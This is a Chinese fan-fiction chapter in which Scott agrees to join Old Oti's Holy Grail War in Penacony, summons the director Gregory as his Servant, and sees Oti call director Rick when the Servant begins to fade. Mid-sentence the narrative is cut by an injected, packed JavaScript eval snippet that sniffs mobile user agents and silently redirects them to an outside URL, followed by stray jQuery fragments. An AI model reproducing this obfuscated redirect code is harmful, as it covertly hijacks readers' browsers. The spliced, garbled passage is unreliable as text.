“斯科特先生,好久不见。”


    老奥帝的声音传来,带着他一贯的、恰到好处的、属于生意人的热情。


    他拄着那根手杖,笑呵呵地打着招呼。可是眼光却是不留痕迹地把斯科特从头到脚扫了一遍。


    “老奥帝先生客气了。”斯科特脸上同样挂着标准的商务微笑进行回应,“您找我来,想必不只是叙旧吧?”


    对老奥帝来说,上次在晖长石号谈完合作才过去几个月,可对他而言,中间隔着无数个循环往复的“七月十六日”,说句“许久未见”倒也不算假话。


    老奥帝哈哈笑起来,拍了拍身旁的空位:“斯科特先生还是这么爽快。坐,先尝尝匹诺康尼最近新研究出来的樱花味苏乐达。”


    侍者端来两杯粉红色的苏乐达,让斯科特眼皮一跳。端起来抿了一口,的确和他想象中一样腻人。


    不过他来到这里的目的可不是为了蹭杯苏乐达的。


    他太清楚面前这老头的脾性了,客气话只是铺垫,真正的目的藏在后面呢。


    果然,没聊两句家常,老奥帝就话锋一转,手指轻轻敲着手杖:“斯科特先生也知道,匹诺康尼这阵子不算太平。协乐大典延期,游客少了不少,生意难做啊。”


    他叹了口气,话语中满是忧愁:“不过还好,我最近找到个好法子,想来你在邀请函上也看过了,那就是办一场圣杯战争。”


    “圣杯战争?”斯科特挑眉,故作惊讶。


    “没错。”老奥帝眼睛亮起来,身子微微前倾,一副向信任之人倾吐秘密的模样,“传说中能实现任何愿望的圣杯,谁不想要?”


    “到时候全银河的人都会来凑这个热闹,匹诺康尼的名气、客流,不就都回来了?”他盯着斯科特,诱惑道,“我知道你本事大,要是能来参加,这场战争肯定更有意思。而且……以你的能力,说不定能拿到圣杯,实现你想要的东西呢?”


    斯科特心里冷笑。


    老奥帝打的什么算盘,他门儿清。


    无非是想把他当枪使,顺便借着战争搅浑水,好巩固苜蓿草家系的地位——或者更直白点儿说是巩固他的金库,这宇宙中谁不知道皮皮西人是最狡诈的生意人。


    可这次,他没像以前那样第一时间盘算“有没有好处”,反而觉得这事儿挺有趣。


    圣杯能实现愿望?听起来就比中庇尔波因特总部天天看报表、跟沃克那伙人勾心斗角有意思多了。


    老奥帝想算计他?行啊,那就看看谁能算计过谁。


    他放下樱花味苏乐达,脸上露出一抹意味深长的笑:“老奥帝先生都开口了,我当然得给面子。圣杯战争嘛,听着就挺热闹,我参加。”


    老奥帝没想到他答应得这么痛快,愣了一下,随即笑得更开怀了:“痛快!斯科特先生果然是做大事的人!”


    他立刻提议:“既然是合作,我也不能亏待你。圣杯战争要抽取从者,为了抢占先机,我让人安排一下,你先抽,暗箱操作,保证你能拿到个好帮手。”


    斯科特自是没拒绝。毕竟送上门的便利,不用白不用。


    他跟着老奥帝的人去了隔壁房间,那里摆着一个古朴的法阵,老奥帝递给他一张金灿灿的票劵,将其放入法阵中后,顿时狂风四起,一个身影缓缓出现在法阵中央。


    “在下格瑞迪,这位先生,你——就是我的御主吗?”那个穿着牛皮色西装的男子向他行礼问道。


    格瑞迪?


    这名字有点耳熟。斯科特想了想,很快记起来了——这不就是那个拍三流恐怖片的导演吗?


    之前在克劳克影视乐园,卡尔导演还跟他提过,说格瑞迪是他的偶像;热砂盛会海选的时候,他还抽到过格瑞迪的剧本,演那个被女鬼追着跑的倒霉蛋。


    没想到,他抽到的从者竟然是这号人物。


    斯科特忍不住笑了。


    这圣杯战争,看来会比他想的还要有趣。


    看着面前行礼的格瑞迪,斯科特突然“嗤”地笑出了声,墨镜后的眼睛里没半分御主对从者的郑重,反而像看什么有趣的新鲜事物一样。


    “格瑞迪导演?”斯科特绕着法阵走了半圈,手指敲了敲下巴,“匹诺康尼建立初期的三流恐怖片导演……我没记错吧?”


    格瑞迪原本挂着笑意的脸色瞬间沉了沉。他平生最恨别人提“三流”两个字,这是对他电影艺术与追求的亵渎!


    可还没等他压下情绪,斯科特已经自顾自坐到了旁边的沙发上,翘着二郎腿晃了晃:“不过嘛,你拍的那些烂片,倒比公司的数据报表要有意思得多。”


    这话让格瑞迪愣了愣,一时没反应过来。他原本以为这位御主会像他被召唤来时收取的记忆一样,像是那段记忆里的其他御主,要么对他的身份不屑一顾,要么催着他赶紧展现实力,可斯科特偏偏提的是“片子有意思”。


    对于一个有着自己追求的导演来说,夸赞他的作品是对他最好的褒奖。


    “你……看过我的作品?”格瑞迪试探着问。


    “热砂盛会海选的时候演过你的剧本。”斯科特下意识拿起桌上的樱花味苏乐达,又抿了一口,顿时被腻得再次放下,“被女鬼追着喊‘要投诉酒店隔音’那段,你猜怎么着?台下观众笑疯了。”


    格瑞迪的嘴角抽了抽,那明明是他写的恐怖桥段,怎么到这人嘴里就成了喜剧?


    可没等他反驳,斯科特已经话锋一转:“我想,按照你的性格来说,刚出场的时候那种模样,一定是对这场圣杯战争别有所求吧。”


    “行啊,我陪你玩。不过有规矩——我的戏份我自己定,别想把我写成你恐怖片里那群奇奇怪怪的倒霉蛋主角。”


    他站


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482095|179611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起身,拍了拍格瑞迪的肩膀,语气带着几分玩味:“还有啊,我们现在可是从者与御主的关系,可是统一战线——或者你可以想一想如何将那些对手打败,来取得那个据说是可以实现一切愿望的圣杯。”


    “当然,随便你怎么玩——只要我不成为乐子的话。”


    格瑞迪看着眼前这个完全不按常理出牌的御主,突然觉得,这场圣杯战争,或许真能实现他的一个夙愿。


    见斯科特迟迟没有出来,老奥帝刚踏进房间,就见斯科特翘着腿坐在沙发上,格瑞迪站在一旁,虽脸色不算好看,却没爆发冲突,顿时松了口气。


    他的脸上又带着一如既往的笑,只是目光在看向格瑞迪的时候微不可查地顿了几秒:“斯科特先生,看来您和从者很投缘啊!有格瑞迪先生助力,这场圣杯战争……”


    话没说完,他眼角的余光突然瞥见格瑞迪的身体逐渐开始变得虚幻起来,像是出了什么问题,老奥帝的笑容僵了僵,快步上前两步:“格瑞迪先生,您的形态……”


    格瑞迪也察觉到了不对劲,抬手摸了摸手臂,发现那处竟有些透明:“圣杯的召唤能量不够稳定,依托人类记忆而诞生的英灵,而我早已被匹诺康尼的人遗忘太久……因此我的形态撑不了太久。”


    斯科特挑了挑眉,倒没多慌,反而饶有兴致地看着他:“这可不行,我的从者要是散了,老奥帝先生,你这暗箱操作可不地道啊。”


    老奥帝搓着手,脑子转得飞快,突然眼睛一亮,掏出通讯器拨了个号码。没等多久,通讯器那头传来熟悉的声音:“老奥帝?这个点找我,是想投资我的新电影了?”


    “芮克导演,别开玩笑。”老奥帝咳了一声,“有个活儿找你——圣杯战争,你知道被。帮我稳住一个不稳定的从者形态,我保证你会得到一个满意的戏剧电影。”


    “哦?”芮克的声音顿了顿,随即笑起来,“让我满意的电影,还真是大开口啊。那个你口中的从者是谁?我听说被召唤者都是来自过往匹诺康尼的英灵,你找我,是与电影有关?”


    老奥帝的嘴角抽了抽:“芮克导演,你猜对了,正是匹诺康尼早起的那位格瑞迪导演。”


    “格瑞迪,那个拍摄过旅馆惊魂夜的那个?”芮克的语气正常,“匹诺康尼的烂片之王,呵,不过在我看来格瑞迪的戏虽然烂,倒比如今市面上流行的那些‘流量大片’有意思。”


    “圣杯战争?有趣,我想,我的确会得到一部不错的电影。”


    挂了通讯器,老奥帝松了口气,转头对斯科特和格瑞迪笑道:“两位放心,芮克导演很快就到,有他帮忙,格瑞迪先生的形态绝对稳了。”


    斯科特没说话,只是看着空中飘着的光粒,墨镜后的眼睛里闪着玩味的光——一场圣杯战争,两个导演,还有一个是忆庭的忆者,这下可有的是乐子看了。